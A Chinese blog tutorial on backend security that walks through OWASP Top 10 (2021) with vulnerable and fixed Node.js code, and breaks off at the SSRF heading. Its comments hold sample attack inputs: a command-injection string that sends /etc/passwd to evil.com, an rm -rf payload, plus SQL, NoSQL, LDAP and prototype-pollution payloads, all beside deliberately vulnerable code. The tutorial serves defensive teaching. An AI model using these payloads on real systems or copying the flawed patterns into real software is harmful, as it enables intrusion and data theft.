w wyl123ly 的博客
MD

后端-09-后端安全与性能

141 KB 2026.10.11 原文件

后端-09-后端安全与性能

这篇讲什么

安全与性能是后端的两条命脉,而且它们经常互相冲突:加盐哈希让登录接口变慢,TLS 握手消耗 CPU,字段加密让索引失效。

本篇按 OWASP Top 10(2021) 逐项给出「有漏洞的写法 → 修复后的写法」对照代码,覆盖注入、越权、SSRF、反序列化等;性能部分从先测量再优化出发,讲清 p95/p99、缓存三大故障、连接池估算、读写分离与异步削峰。

读完你应该能做到:① 一眼看出拼接 SQL、IDOR、SSRF 这三类最常见漏洞;② 用公式估算连接池与并发;③ 说出缓存穿透/击穿/雪崩的区别与对策;④ 用两份清单在上线前完成自查。

一、安全的第一原则

1.1 永远不要信任客户端输入

客户端的一切都可以被伪造:表单校验可以绕过、隐藏字段可以修改、前端路由守卫可以跳过、请求参数可以任意构造、User-Agent 和 Referer 可以随便写、Content-Type 可以撒谎。

// ❌ 相信前端传来的价格
app.post('/orders', async (req, res) => {
  const { productId, price, quantity } = req.body;   // price 来自客户端 = 用户可以 1 分钱买东西
  await db.query('INSERT INTO orders(product_id, price, quantity) VALUES($1,$2,$3)',
                 [productId, price, quantity]);
});

// ✅ 价格、折扣、库存一律服务端重新计算
app.post('/orders', requireAuth, async (req, res) => {
  const { productId, quantity } = req.body;
  if (!Number.isInteger(quantity) || quantity < 1 || quantity > 99) {
    return res.status(400).json({ error: 'invalid quantity' });
  }
  const product = await db.one('SELECT price, stock FROM products WHERE id=$1', [productId]);
  const price = product.price;                        // 服务端权威来源
  // 库存扣减应放在事务或原子更新里,避免超卖
  await db.query('INSERT INTO orders(product_id, price, quantity) VALUES($1,$2,$3)',
                 [productId, price, quantity]);
});

同理,客户端传来的身份标识也不可信:

// ❌ 从请求体里读 userId —— 攻击者可以改成别人的 ID
const userId = req.body.userId;

// ✅ 从服务端校验过的会话/令牌里读
const userId = req.user.id;   // 由认证中间件写入,来源是签名过的 JWT 或服务端 Session

1.2 纵深防御

纵深防御(Defense in Depth) 指不依赖任何单一防线。安全不是一道墙,而是多层:

第 1 层:网络       防火墙、安全组、只暴露必要端口
第 2 层:传输       TLS、HSTS、证书校验
第 3 层:边界       WAF、反向代理限流、请求体大小限制
第 4 层:认证       强口令策略、多因素认证、会话管理
第 5 层:授权       每个请求都做权限校验(不只是登录校验)
第 6 层:输入校验   类型、范围、长度的白名单校验
第 7 层:输出编码   按上下文编码,防 XSS
第 8 层:数据层     参数化查询、最小权限数据库账号
第 9 层:运行时     非 root 用户、只读文件系统、资源限制
第 10 层:检测与响应  审计日志、告警、入侵检测

每一层都可能被绕过,但同时绕过十层的成本极高。设计时的检验方法:假设第 6 层被绕过(输入校验失败),第 8 层还能不能挡住注入?假设密码泄露,第 4 层的多因素还能不能挡住登录?

1.3 最小权限

对象最小权限做法
数据库账号应用账号只有业务表的 CRUD,没有 DROP/GRANT/文件读写权限
只读业务报表、分析类查询用只读账号
操作系统应用以非 root 专用用户运行
云资源通过角色/策略只授予需要的 API
容器非 root、只读根文件系统、no-new-privileges
令牌短有效期 + 最小 scope
-- ✅ 应用账号:只有需要的表与操作
CREATE ROLE app_user LOGIN PASSWORD 'strong-password';
GRANT CONNECT ON DATABASE appdb TO app_user;
GRANT USAGE ON SCHEMA public TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app_user;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO app_user;
-- 注意:不给 CREATE、不给 DROP、不给 SUPERUSER、不给文件读写

-- ❌ 常见反模式:应用直接用超级用户连数据库
-- GRANT ALL PRIVILEGES ON DATABASE appdb TO app_user;

最小权限在入侵后的价值

假设 SQL 注入真的成功了:应用账号是超级用户 → 攻击者可以读写任意库、读写服务器文件、甚至执行系统命令;应用账号只有单库单表 CRUD → 攻击者最多拿到这一张表的数据,且留下审计痕迹。同样的漏洞,后果差距是一个数量级。

1.4 默认拒绝

默认拒绝(Deny by Default):白名单优先于黑名单,未明确允许的一律拒绝。

// ❌ 黑名单:只挡了已知的坏值,永远不完备
if (input.includes('<script>') || input.includes('DROP TABLE')) reject(input);

// ✅ 白名单:只允许明确合法的值
const ALLOWED_STATUS = new Set(['pending', 'paid', 'shipped', 'cancelled']);
if (!ALLOWED_STATUS.has(status)) return res.status(400).json({ error: 'invalid status' });

// ✅ 路由/权限也用白名单:未列出的接口默认要求管理员
const PUBLIC_ROUTES = new Set(['/healthz', '/login', '/register']);
app.use((req, res, next) => {
  if (PUBLIC_ROUTES.has(req.path)) return next();
  return requireAuth(req, res, next);      // 默认要求认证
});

黑名单的三个致命缺陷:① 总有遗漏(编码变形、大小写、等价写法);② 需要持续更新;③ 一旦绕过就是完全绕过。黑名单只应作为纵深防御的补充,绝不能作为主防线。

二、OWASP Top 10 逐项讲解

版本说明

本节按 OWASP Top 10:2021 的十项分类组织。OWASP 会随版本调整分类与排序(例如 2025 版把「安全日志与告警失效」等做了调整),具体排序与名称请以 OWASP 官方最新发布为准,但这里讲的漏洞原理与防御手段是长期有效的。

2.1 A01 失效的访问控制

访问控制失效(Broken Access Control) 连续多年位居第一,因为它是业务逻辑层的问题,任何框架都不会自动帮你做。

两种基本形态:

类型含义例子
水平越权同级用户之间越界,访问了别人的资源用户 A 通过改 URL 里的订单 ID 看到用户 B 的订单
垂直越权低权限用户执行了高权限操作普通用户直接调用 /api/admin/users 删用户

水平越权中「直接用对象 ID 引用资源」的经典形态叫 IDOR(Insecure Direct Object Reference,不安全的直接对象引用)。

// ❌ 漏洞:只验证了「登录」,没验证「归属」
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.oneOrNone('SELECT * FROM orders WHERE id=$1', [req.params.id]);
  if (!order) return res.status(404).json({ error: 'not found' });
  res.json(order);            // 任何登录用户都能看任何订单
});

// ❌ 漏洞:以为把 ID 换成 UUID 就安全了(这叫「隐蔽式安全」,不是访问控制)
app.get('/api/invoices/:uuid', requireAuth, async (req, res) => { /* 同上 */ });

// ✅ 修复:把「归属」写进查询条件,让数据库来保证
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const order = await db.oneOrNone(
    'SELECT * FROM orders WHERE id=$1 AND user_id=$2',
    [req.params.id, req.user.id]);              // 关键:AND user_id = 当前用户
  if (!order) return res.status(404).json({ error: 'not found' });
  res.json(order);
});
// ❌ 垂直越权:只在 UI 上隐藏了按钮,接口没有任何权限检查
app.delete('/api/admin/users/:id', requireAuth, async (req, res) => {
  await db.query('DELETE FROM users WHERE id=$1', [req.params.id]);
  res.status(204).end();
});

// ✅ 修复:中间件做角色校验,且默认拒绝
function requireRole(...roles) {
  return (req, res, next) => {
    if (!req.user || !roles.includes(req.user.role)) {
      return res.status(403).json({ error: 'forbidden' });
    }
    next();
  };
}
app.delete('/api/admin/users/:id', requireAuth, requireRole('admin'), async (req, res) => {
  // 额外的业务规则:不能删自己、不能删最后一个管理员
  if (req.params.id === req.user.id) {
    return res.status(400).json({ error: 'cannot delete yourself' });
  }
  await db.query('DELETE FROM users WHERE id=$1', [req.params.id]);
  res.status(204).end();
});

访问控制的五个常见反模式

1. 只在列表接口过滤,详情接口忘了过滤——列表页看不到,直接改 ID 就能拿到。

2. 用「前端隐藏」当权限控制——按钮藏了,接口照样能被调用。

3. 只校验角色不校验数据范围——role=manager 的两个人互相能看对方团队的数据。需要「角色 + 数据归属」双重校验。

4. 依赖不可预测的 ID 当安全措施——UUID 可以泄露(日志、截图、分享链接),一旦泄露就等于没有防护。

5. 权限检查散落在每个 handler 里——总有一个忘了写。应把「资源归属校验」抽象成统一的数据访问层函数,例如所有查询都走 findOrderForUser(id, userId)。

自检方法:把每个需要鉴权的接口列出来,用两个不同用户的账号交叉访问对方资源,写成一个自动化测试。这类测试应该覆盖所有带 ID 的接口。

2.2 A02 加密机制失效

加密机制失效(Cryptographic Failures) 包括:明文存储敏感数据、用弱算法、密钥硬编码、用不安全的随机数、传输不加密。

数据类型正确做法常见错误
密码单向哈希 + 加盐(Argon2id / bcrypt / scrypt)明文存储、MD5/SHA-1、无盐哈希
身份证、银行卡加密(可逆,需展示)或存储掩码 + 单独密文明文、只存掩码导致无法核对
会话令牌高熵随机数(≥128 bit),服务端存储哈希自增 ID、时间戳、可预测值
密钥密钥管理系统 / 环境变量硬编码进代码或提交进 Git
传输TLS 1.2+(生产建议 1.3)明文 HTTP、自签证书跳过校验
// ❌ 漏洞 1:明文存储密码
await db.query('INSERT INTO users(email, password) VALUES($1,$2)', [email, password]);

// ❌ 漏洞 2:用快速哈希且不加盐(GPU 每秒可算数十亿次)
const hash = crypto.createHash('sha256').update(password).digest('hex');

// ❌ 漏洞 3:自创「加盐」方案(salt 全局固定 = 彩虹表仍可预计算)
const hash = sha256(SECRET_SALT + password);

// ✅ 修复:用专门为密码设计的慢哈希,库会自动生成随机盐并编码进结果
const argon2 = require('argon2');
const passwordHash = await argon2.hash(password, {
  type: argon2.argon2id,      // Argon2id 抗侧信道也抗 GPU
  memoryCost: 19456,          // 19 MiB
  timeCost: 2,
  parallelism: 1,
});
await db.query('INSERT INTO users(email, password_hash) VALUES($1,$2)', [email, passwordHash]);

// 校验时用库提供的 verify,它会从存储串里解析参数与盐
const ok = await argon2.verify(row.password_hash, inputPassword);

密码哈希的选型要点

- 必须用慢哈希:Argon2id 优先,其次 scrypt,兼容老系统可用 bcrypt(work factor ≥ 10)。绝不用 MD5/SHA-1/SHA-256 直接哈希密码。

- 每个密码独立随机盐:由库自动处理,不要自己拼固定盐。

- 哈希计算应在 1 秒以内:太慢会拖垮登录接口并给攻击者提供 CPU 耗尽型 DoS 的机会。

- 加一个「胡椒」(pepper):把服务端密钥混入哈希,且不存储在数据库里。这样即使数据库被拖库,没有服务器上的密钥也无法离线破解。

- 支持算法升级:把算法与参数编码进存储串(PHC 格式,如 $argon2id$v=19$m=19456,t=2,p=1$...),用户下次登录时用新参数重新哈希。

# ✅ 密钥与随机数:用密码学安全随机源
node -e "console.log(require('crypto').randomBytes(32).toString('base64url'))"

# ❌ 不要用 Math.random() 生成令牌 —— 它是可预测的伪随机

2.3 A03 注入

注入的本质是把数据当成了代码。所有注入(SQL、命令、NoSQL、LDAP、模板)都是同一个根因:没有清晰地区分「代码」和「数据」。

2.3.1 SQL 注入
// ❌ 漏洞:字符串拼接
app.get('/api/users', async (req, res) => {
  const q = "SELECT id, email FROM users WHERE email = '" + req.query.email + "'";
  // 攻击者传 email = ' OR '1'='1
  // 实际执行: SELECT id, email FROM users WHERE email = '' OR '1'='1'
  // 结果:全部用户被返回
  // 更危险: email = '; DROP TABLE users; --   (取决于驱动是否允许多语句)
  const rows = await db.query(q);
  res.json(rows);
});
// ✅ 修复:参数化查询(预编译语句),数据库自己区分代码与数据
app.get('/api/users', async (req, res) => {
  const rows = await db.query(
    'SELECT id, email FROM users WHERE email = $1',   // $1 是占位符
    [req.query.email]);                                // 值通过参数通道传递,永不参与 SQL 解析
  res.json(rows);
});

参数化查询为什么有效:SQL 文本在「准备(prepare)」阶段就已经被数据库解析成执行计划,占位符的位置与类型固定;后续传入的值只会作为参数值填充,不可能改变语句结构。所以 ' OR '1'='1 会被当作一整个字符串字面量去匹配 email。

其他语言的等价写法:

// C# / Npgsql
await using var cmd = new NpgsqlCommand("SELECT id, email FROM users WHERE email = @email", conn);
cmd.Parameters.AddWithValue("email", email);
# Python / psycopg
cur.execute("SELECT id, email FROM users WHERE email = %s", (email,))
// ❌ 常见误用:以为用了 ORM 就安全 —— 原生查询仍然会拼接
await sequelize.query(`SELECT * FROM users WHERE email = '${email}'`);
// ✅ 用绑定参数或 ORM 的查询构造器
await User.findAll({ where: { email } });

无法参数化的地方怎么办(表名、列名、排序方向不能作为参数):

// ❌ 表名拼接
const q = `SELECT * FROM ${tableName} WHERE id=$1`;

// ✅ 白名单映射:用户输入只用来「选」,不作为 SQL 片段
const TABLES = { users: 'users', orders: 'orders', products: 'products' };
const SORTS  = { created: 'created_at', amount: 'amount' };
const DIRS   = { asc: 'ASC', desc: 'DESC' };

const table = TABLES[req.query.table];
if (!table) return res.status(400).json({ error: 'invalid table' });
const sort = SORTS[req.query.sort] || 'created_at';
const dir  = DIRS[req.query.dir]  || 'DESC';
const q = `SELECT * FROM ${table} ORDER BY ${sort} ${dir} LIMIT $1 OFFSET $2`;

SQL 注入的三道防线

1. 参数化查询(主防线)——覆盖 100% 的数据值位置。

2. 白名单校验(用于无法参数化的标识符)——表名、列名、排序方向。

3. 最小权限数据库账号(兜底)——即使前两道都破了,也只能操作业务表。

另外:不要把数据库原始错误信息返回给客户端(见 2.5 节),它会把表结构、列名、SQL 语句直接告诉攻击者。

2.3.2 命令注入
// ❌ 漏洞:把用户输入拼进 shell 命令
const { exec } = require('child_process');
app.post('/api/convert', (req, res) => {
  exec(`convert ${req.body.file} out.png`, (err, stdout) => { /* ... */ });
  // 攻击者传 file = "a.png; rm -rf /var/www"
  // 或  file = "a.png && curl http://evil.com/$(cat /etc/passwd)"
});

// ✅ 修复 1:根本不用 shell —— 用 execFile/spawn 传参数数组
const { execFile } = require('child_process');
app.post('/api/convert', (req, res) => {
  const file = path.basename(req.body.file);           // 去掉路径部分
  if (!/^[A-Za-z0-9._-]+$/.test(file)) {               // 白名单校验文件名
    return res.status(400).json({ error: 'invalid filename' });
  }
  execFile('convert', [file, 'out.png'], { cwd: '/srv/uploads' }, (err, stdout) => {
    if (err) return res.status(500).json({ error: 'convert failed' });
    res.json({ ok: true });
  });
});
// ✅ 修复 2:能不用外部命令就不用 —— 用库代替
// 不要 exec('convert ...'),可用 sharp 之类的库在进程内处理图片
const sharp = require('sharp');
await sharp(inputPath).resize(800).png().toFile(outputPath);

命令注入的四个防御层级:

层级做法强度
最优先不调用外部命令,用语言内库完成同样功能最强,消除整个攻击面
其次用 execFile/spawn 传参数数组,不经过 shell强
再次白名单校验参数(字符集、长度、路径前缀)中
兜底以低权限用户运行、限制可执行文件、容器内无敏感挂载兜底

shell=True / exec() / eval() / system() 是同一类危险

只要把用户输入交给 shell、解释器或模板引擎,就等于把代码执行权交给了用户。能不用就不用;确实需要时,输入必须经过白名单校验,且进程必须以最小权限运行。

2.3.3 NoSQL 注入

MongoDB 这类文档数据库不做 SQL 解析,但对象查询语法同样存在注入:

// ❌ 漏洞:直接把请求体当查询条件
app.post('/api/login', async (req, res) => {
  const user = await db.collection('users').findOne({
    username: req.body.username,
    password: req.body.password,        // 攻击者传 {"$ne": null} 即「不等于空」→ 条件恒真
  });
  // 更糟:password 字段若以明文比较,可传 {"$gt": ""} 绕过
  if (user) res.json({ ok: true }); else res.status(401).json({ ok: false });
});

// ✅ 修复 1:强制类型,杜绝对象注入
if (typeof req.body.username !== 'string' || typeof req.body.password !== 'string') {
  return res.status(400).json({ error: 'invalid payload' });
}

// ✅ 修复 2:用 schema 校验库统一把关(推荐,能一次性覆盖所有接口)
const Joi = require('joi');
const loginSchema = Joi.object({
  username: Joi.string().min(3).max(64).required(),
  password: Joi.string().min(8).max(128).required(),
});
const { error, value } = loginSchema.validate(req.body);
if (error) return res.status(400).json({ error: 'invalid payload' });

// ✅ 修复 3:密码必须哈希比对,绝不在查询条件里比明文
const user = await db.collection('users').findOne({ username: value.username });
const ok = user && await argon2.verify(user.password_hash, value.password);

还要注意 $where` 与 mapReduce**:如果业务代码允许用户提供 `$where 表达式,等于允许执行任意 JavaScript。永远不要接受来自客户端的查询操作符**。

2.3.4 LDAP 注入

LDAP 过滤器有特殊字符(* ( ) \ NUL),拼接会导致过滤器结构被改变:

// ❌ 漏洞:拼接 LDAP 过滤器
const filter = `(&(uid=${username})(userPassword=${password}))`;
// 攻击者传 username = "*)(uid=*))(|(uid=*"
// 过滤器变成能匹配任意用户的结构 → 绕过认证

// ✅ 修复:转义特殊字符(按 RFC 4515 的规则)
function escapeLdapFilter(input) {
  return input.replace(/[\\*()\0]/g, (c) => ({
    '\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\0': '\\00',
  }[c]));
}
const filter = `(&(uid=${escapeLdapFilter(username)})(objectClass=person))`;

// ✅ 更根本:认证不要自己拼过滤器做密码比对
// 正确做法是用 LDAP 的 bind 操作验证凭据,而不是把密码放进过滤器查询

2.4 A04 不安全设计

不安全设计(Insecure Design) 与前三项的区别在于:前三项是实现缺陷(代码写错了),这一项是设计缺陷(架构里根本没考虑这类风险,写对了也不安全)。

判断方法

实现缺陷可以「修一行代码」;设计缺陷必须改设计。例如「优惠券可以被重复使用」不是代码 bug,而是设计时没有考虑「并发下同一张券只能用一次」。

设计缺陷表现修复思路
缺少业务限流注册接口可以无限调用按 IP + 手机号限流 + 验证码
缺少并发控制同一张券被并发核销两次数据库唯一约束 + 乐观锁 / 原子更新
信任业务流顺序可以跳过支付直接调「发货」服务端校验状态机,非法状态转换直接拒绝
缺少威胁建模上线后才发现「能重置别人密码」设计阶段做威胁建模
没有失败兜底支付回调超时后订单永久卡住设计对账与补偿任务
// ❌ 设计缺陷:先查后改,两步之间存在竞态
const coupon = await db.one('SELECT used FROM coupons WHERE id=$1', [id]);
if (coupon.used) return res.status(400).json({ error: 'already used' });
await db.query('UPDATE coupons SET used=true WHERE id=$1', [id]);
// 两个并发请求可能都读到 used=false,于是都用成功了

// ✅ 修复 1:把判断和更新合并成一条原子语句
const result = await db.query(
  'UPDATE coupons SET used=true, used_by=$2, used_at=now() WHERE id=$1 AND used=false',
  [id, userId]);
if (result.rowCount === 0) return res.status(400).json({ error: 'already used' });

// ✅ 修复 2:用唯一约束做最终防线(数据库层面不可绕过)
// CREATE UNIQUE INDEX uniq_coupon_user ON coupon_usages(coupon_id);
// 或对「幂等键」建唯一索引,见第 6.4 节

威胁建模(Threat Modeling)的最小可用方法:对每个新功能问四个问题——① 谁能访问它?② 他们能输入什么?③ 输入会被用在哪里(数据库/命令/文件/网络)?④ 如果这一步被绕过,最坏后果是什么?

2.5 A05 安全配置错误

配置错误覆盖面极广,且往往是最容易被自动化扫描器发现的,因此是攻击者的首选入口。

配置错误风险修复
默认口令未改数据库、Redis、管理后台被直接登录部署流程中强制修改;禁用默认账号
目录列表开启暴露备份文件、源码、.git关闭 autoindex;禁止访问点开头文件
详细错误返回客户端泄露栈信息、SQL、框架版本、文件路径生产环境返回统一错误页,详情只进日志
CORS 配置过宽任意站点可带凭据调用你的 API明确白名单域名,避免 * 与 credentials: true 共存
调试模式开在生产任意代码执行、内存泄露环境变量控制,发布流程中校验
云存储桶公开可读用户数据被批量下载默认私有,逐个显式授权
管理后台暴露公网被暴力破解限制来源 IP / 走内网或 VPN
# ✅ Nginx:关闭目录列表 + 拒绝访问隐藏文件
server {
    autoindex off;

    location ~ /\.(?!well-known) {
        deny all;              # 禁止访问 .git、.env、.svn 等
        return 404;            # 返回 404 而不是 403,不泄露“这里存在东西”
    }

    location ~* \.(sql|bak|old|zip|tar|gz|log)$ {
        deny all;              # 禁止下载备份与日志文件
    }
}
// ❌ 漏洞:把原始错误返回给客户端
app.use((err, req, res, next) => {
  res.status(500).json({ error: err.message, stack: err.stack });
  // 泄露:表名、列名、文件绝对路径、依赖库版本
});

// ✅ 修复:客户端只拿到可追踪的 ID,详情写进日志
app.use((err, req, res, next) => {
  const errorId = crypto.randomUUID();
  logger.error('unhandled', { errorId, path: req.path, userId: req.user?.id, err: err.stack });
  res.status(500).json({ error: 'internal error', errorId });
  // 用户报障时报 errorId,我们据此在日志里定位完整堆栈
});
// ❌ 漏洞:CORS 反射任意来源 + 允许携带凭据
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', req.headers.origin);   // 反射任何来源
  res.setHeader('Access-Control-Allow-Credentials', 'true');          // 且允许带 Cookie
  next();
});
// 后果:任何恶意站点都能以用户身份调用你的 API

// ✅ 修复:严格白名单
const ALLOWED_ORIGINS = new Set(['https://app.example.com', 'https://www.example.com']);
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (origin && ALLOWED_ORIGINS.has(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');           // 让缓存按 Origin 区分,避免串味
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  res.setHeader('Access-Control-Allow-Methods', 'GET,POST,PUT,DELETE,OPTIONS');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type,Authorization');
  if (req.method === 'OPTIONS') return res.status(204).end();
  next();
});

**Access-Control-Allow-Origin: * 与凭据**

规范禁止 * 与 Allow-Credentials: true 同时使用——浏览器会直接拒绝。但比这更危险的是「反射 Origin」:它看起来能工作,实际上等于关了同源策略。这里也说明了为什么不能只靠 CORS 做访问控制:CORS 是浏览器强制的策略,攻击者用 curl 完全不受其约束。CORS 只防「浏览器里的跨站请求」,不防「直接调用 API 的非浏览器客户端」。

2.6 A06 易受攻击和过时的组件

依赖链的漏洞是最省力的攻击路径:你写的代码没问题,但你依赖的库有问题。

# ---------- 依赖漏洞审计命令 ----------
# Node
npm audit --omit=dev
npm audit fix                    # 自动修复(注意可能引入破坏性变更)
pnpm audit --prod

# .NET
dotnet list package --vulnerable --include-transitive
dotnet list package --outdated

# Python
pip-audit                        # 推荐
pip list --outdated
safety check

# 容器镜像层
trivy image --severity HIGH,CRITICAL myapp:1.0.0

# 通用:生成 SBOM 便于持续追踪
syft myapp:1.0.0 -o spdx-json > sbom.json

依赖治理的四条实践:

实践做法
锁定版本提交 lock 文件(package-lock.json、pnpm-lock.yaml、packages.lock.json),用 npm ci 而不是 npm install
最小依赖每引入一个包,等于引入它的整棵依赖树。宁写 20 行代码也不引入一个不受维护的包
定期更新设每月一次的依赖更新窗口;自动化的次要版本更新 + 人工审核主要版本
CI 门禁高危漏洞让构建失败;例外必须记录理由与期限
# CI 中的依赖门禁(概念通用,流水线细节见 [[工具-08-CICD入门]])
- name: Audit dependencies
  run: |
    npm ci --omit=dev
    npm audit --omit=dev --audit-level=high
    trivy fs --exit-code 1 --severity CRITICAL .

「我用的包很小众所以没人攻击」

攻击者不看你的包有多小众,只看它有多少下载量。供应链攻击的典型手法是给一个流行包投毒(劫持维护者账号、发布同名恶意包、postinstall 脚本)。防御手段:锁定版本 + 校验完整性(lock 文件的 integrity 字段)+ 关闭不必要的生命周期脚本(npm ci --ignore-scripts)+ 使用私有代理仓库。

2.7 A07 身份认证和鉴别失效

问题风险防御
撞库(credential stuffing)用其他站点泄露的账号密码批量尝试登录多因素认证、异常登录检测、限流、验证码
暴力破解对单一账号穷举密码失败计数 + 指数退避 + 账号临时锁定 + 强口令策略
会话固定(session fixation)攻击者预先设定会话 ID,诱导受害者用该 ID 登录登录成功后必须重新生成会话 ID
会话不过期令牌泄露后长期有效绝对过期 + 空闲过期 + 支持主动吊销
弱口令策略用户设置 123456最小长度(≥ 8,建议 ≥ 12)、检查常见泄露口令库、不强制复杂的字符组合规则
密码重置不安全重置令牌可预测、可复用、无过期高熵随机令牌 + 单次使用 + 短有效期(15 分钟)+ 绑定用户
// ❌ 漏洞:登录成功后会话 ID 不变(会话固定)
app.post('/login', async (req, res) => {
  const user = await verifyCredentials(req.body);
  if (!user) return res.status(401).json({ error: 'invalid credentials' });
  req.session.userId = user.id;      // 沿用登录前的 session id → 可被固定
  res.json({ ok: true });
});

// ✅ 修复:登录成功后重建会话(销毁旧的,生成新的)
app.post('/login', async (req, res) => {
  const user = await verifyCredentials(req.body);
  if (!user) return res.status(401).json({ error: 'invalid credentials' });

  req.session.regenerate((err) => {                  // 关键:重新生成 session id
    if (err) return res.status(500).json({ error: 'session error' });
    req.session.userId = user.id;
    req.session.createdAt = Date.now();
    req.session.save(() => res.json({ ok: true }));
  });
});
// ✅ 登录失败处理:按「账号 + IP」双维度限流 + 指数退避
async function recordLoginFailure(email, ip) {
  const key = `login:fail:${email}`;
  const n = await redis.incr(key);
  if (n === 1) await redis.expire(key, 900);          // 15 分钟窗口
  await redis.incr(`login:fail:ip:${ip}`);
  return n;
}

app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const failures = Number(await redis.get(`login:fail:${email}`) || 0);

  // 失败次数越多,延迟越长(给自动化攻击制造成本,对真人几乎无感)
  if (failures > 5) await sleep(Math.min(2 ** (failures - 5) * 100, 3000));
  if (failures > 15) {
    return res.status(429).json({ error: 'too many attempts, try later or reset password' });
  }

  const user = await findUserByEmail(email);
  // 注意:无论账号是否存在都走一次哈希校验,避免通过响应时间枚举账号
  const ok = user
    ? await argon2.verify(user.password_hash, password)
    : await argon2.verify(DUMMY_HASH, password).catch(() => false);

  if (!ok) {
    await recordLoginFailure(email, req.ip);
    return res.status(401).json({ error: 'invalid credentials' });  // 不区分“账号不存在”与“密码错误”
  }
  await redis.del(`login:fail:${email}`);
  // ... 重建会话 / 签发令牌
});

现代口令策略(与直觉相反)

主流规范(如 NIST SP 800-63B)不再推荐强制「大小写 + 数字 + 符号」的复杂组合与定期强制改密,因为这会促使用户写出 Password1! 这类可预测口令并把密码写在便利贴上。推荐:

- 最小长度 8(建议 12),最大长度至少允许 64(不要为了「安全」限制到 20);

- 检查是否命中已知泄露口令库(如 k-anonymity 查询);

- 允许粘贴密码(否则会阻止密码管理器);

- 支持所有 Unicode 字符;

- 推广多因素认证(TOTP / WebAuthn),它比任何口令复杂度规则都有效。

2.8 A08 软件和数据完整性失效

软件和数据完整性失效(Software and Data Integrity Failures) 包括:不安全的反序列化、依赖来源不可信、CI/CD 产物被篡改、更新包未验签。

反序列化漏洞是最典型、危害最大的一类:反序列化会把字节流还原成对象,而很多语言的序列化格式允许在字节流中指定「要实例化哪个类」。攻击者可以构造一条能触发危险副作用的调用链(gadget chain),最终实现任意代码执行。

// ❌ 漏洞:反序列化来自客户端的对象(Node 生态中的典型形态)
const obj = JSON.parse(req.body.data);
// JSON 本身安全(只能表达数据),但下面这些就危险了:

// ❌ 危险 1:把用户提供的对象直接展开/合并(原型污染 prototype pollution)
Object.assign(target, req.body);       // 传 {"__proto__":{"isAdmin":true}} 可污染全局原型
_.merge({}, req.body);                 // 老版本 lodash 的同类问题

// ❌ 危险 2:用 eval / new Function 解析「配置」
const config = eval('(' + req.body.config + ')');

// ❌ 危险 3:Node 的 serialize-javascript / node-serialize 反序列化不可信数据
// 这类库可能执行函数体 —— 等于远程代码执行
// ✅ 修复 1:只接受 JSON,并且对结构做白名单校验
const schema = Joi.object({
  name: Joi.string().max(64).required(),
  tags: Joi.array().items(Joi.string().max(32)).max(10).default([]),
});
const { error, value } = schema.validate(JSON.parse(req.body.data), {
  stripUnknown: true,           // 丢弃未声明的字段
  abortEarly: false,
});
if (error) return res.status(400).json({ error: 'invalid payload' });

// ✅ 修复 2:合并对象时排除危险键
function safeMerge(target, source) {
  for (const [k, v] of Object.entries(source)) {
    if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;
    target[k] = v;
  }
  return target;
}

// ✅ 修复 3:绝不用 eval / new Function 处理不可信数据
// 需要解析结构化配置就用 JSON.parse,需要表达式就用受限的沙箱或规则引擎
场景危险做法安全做法
反序列化用户输入pickle.loads、ObjectInputStream、unserialize()、node-serialize只接受 JSON/Protobuf 等纯数据格式,并做 schema 校验
依赖完整性直接 `curl install.sh \bash`校验哈希/签名、锁定版本、使用内部镜像
镜像完整性用可变的 latest 标签固定 digest,验证签名
更新机制从任意 URL 下载并执行签名验证 + 灰度发布
CI 密钥让 PR 触发的任务能读取生产密钥分离权限、要求人工审批

「反序列化不可信数据」等同于「允许对方在你服务器上执行代码」

这不是夸张。多种语言的标准库反序列化(Java 的 ObjectInputStream、Python 的 pickle、PHP 的 unserialize、.NET 的 BinaryFormatter 与部分 JSON 配置)都存在公开的利用链,可导致远程代码执行。唯一可靠的做法是不反序列化不可信数据,或使用带类型白名单的安全序列化器。

2.9 A09 日志和监控失效

日志与监控失效(Security Logging and Monitoring Failures) 的可怕之处在于:它不直接造成损失,但会让所有其他攻击都变得不可见、不可追溯。典型后果是「数据被拖走了三个月,才发现」。

必须记录的安全事件(详见 OWASP Logging Cheat Sheet):

类别事件
认证登录成功、登录失败、登出、密码修改、密码重置、多因素启用/禁用
授权访问被拒绝(403)、越权尝试、权限变更
会话会话创建/销毁、令牌校验失败、可疑的会话 ID 变更
管理操作用户增删改、角色变更、配置变更、密钥轮换
数据访问敏感数据的读取与导出、批量查询、报表下载
输入校验失败参数类型错误、非法枚举值、编码异常(可能是扫描/攻击)
系统事件服务启停、依赖连接失败、TLS 校验失败、反序列化失败
// ✅ 结构化审计日志(关键:包含 who / what / when / where / result)
function audit(event, { req, target, result, reason } = {}) {
  logger.info(JSON.stringify({
    ts: new Date().toISOString(),
    type: 'audit',
    event,                                   // 例如 'auth.login.failed'
    actorId: req?.user?.id ?? null,          // who
    actorIp: req?.ip ?? null,                // where
    userAgent: req?.get('user-agent') ?? null,
    target,                                  // what(对象标识,不含敏感内容)
    result,                                  // success / denied / error
    reason,                                  // 失败原因(不含密码等敏感值)
    requestId: req?.id ?? null,              // 关联 ID,用于串起整条链路
  }));
}

// 使用示例
audit('auth.login.failed', { req, target: `user:${emailHash}`, result: 'denied', reason: 'bad_password' });
audit('admin.user.deleted', { req, target: `user:${userId}`, result: 'success' });
audit('authz.denied',       { req, target: `order:${orderId}`, result: 'denied', reason: 'not_owner' });

日志失效的三种形态

1. 没有记录:出事后完全无法追溯谁在什么时候做了什么。

2. 记录了但没人看:日志堆在磁盘上,攻击行为发生在日志里但从未触发任何告警。没有告警的日志等于没有日志(对安全事件而言)。

3. 记录了但不该记的内容:把密码、令牌、身份证号写进日志,日志系统本身成了泄露源(见 后端-08-部署与运维基础 第 7.4 节)。

另外要注意 日志注入(log injection):用户输入里带换行符可以伪造日志行。写日志前要把 \r \n 等分隔符转义或移除。

2.10 A10 服务端请求伪造(SSRF)

